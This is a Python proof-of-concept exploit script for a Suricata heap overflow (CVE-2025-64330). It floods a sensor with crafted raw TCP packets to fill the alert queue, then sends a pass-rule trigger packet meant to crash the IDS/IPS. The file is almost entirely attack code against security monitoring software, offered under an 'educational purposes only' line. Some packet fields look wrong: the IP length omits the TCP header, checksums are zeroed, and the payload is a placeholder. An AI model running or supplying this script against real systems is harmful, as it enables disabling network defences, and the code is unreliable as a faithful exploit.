#!/usr/bin/env python3
"""
CVE-2025-64330 PoC - Suricata Heap Overflow in Verdict Logging
This PoC demonstrates the concept of triggering the alert queue overflow
Note: This is for educational purposes only
"""
import socket
import struct
import time
def create_malicious_packet(seq, flags, payload):
"""
Create a TCP packet that triggers multiple Suricata rules
"""
# IP Header
ip_header = struct.pack('!BBHHHBBH4s4s',
0x45, # Version 4, IHL 5
0x00, # TOS
20 + len(payload), # Total length
12345, # ID
0x4000, # Flags + Fragment offset
64, # TTL
6, # Protocol (TCP)
0, # Checksum (0 for now)
socket.inet_aton('192.168.1.100'), # Source IP
socket.inet_aton('192.168.1.1') # Dest IP
)
# TCP Header
tcp_header = struct.pack('!HHLLBBHHH',
80, # Source port
8080, # Dest port
seq, # Seq
0, # Ack
0x50, # Data offset
flags, # Flags
65535, # Window
0, # Checksum
0 # Urgent pointer
)
return ip_header + tcp_header + payload
def send_flood_of_alerts(target_ip, port, count=100):
"""
Send multiple packets to fill the alert queue
"""
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
sock.connect((target_ip, port))
print(f"[*] Sending {count} malicious packets to fill alert queue...")
for i in range(count):
payload = b'X' * 100 # Payload to trigger detection
packet = create_malicious_packet(i, 0x02, payload) # SYN flag
sock.send(packet)
time.sleep(0.01)
print("[+] Alert queue should be filled now")
def send_pass_trigger(target_ip, port):
"""
Send a packet that matches a pass rule after alert queue is full
This triggers the overflow condition
"""
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
print("[*] Sending pass rule trigger packet...")
# This packet should trigger alert queue + pass rule
payload = b'SPECIAL_TRIGGER_PAYLOAD' * 10
packet = create_malicious_packet(999999, 0x18, payload) # PSH, ACK flags
sock.send(packet)
print("[+] Pass rule packet sent - may trigger crash if vulnerable")
if __name__ == "__main__":
target = "192.168.1.1" # Suricata sensor IP
port = 8080
print("[*] CVE-2025-64330 Suricata Heap Overflow PoC")
print("[*] Target: Suricata IDS/IPS")
print("[*] Requirement: Suricata configured with eve.alert/eve.drop logging")
# Step 1: Fill the alert queue
send_flood_of_alerts(target, port, count=100)
# Step 2: Trigger pass rule to cause overflow
send_pass_trigger(target, port)
print("[*] Attack sequence complete")
print("[!] Check Suricata logs for crash or restart")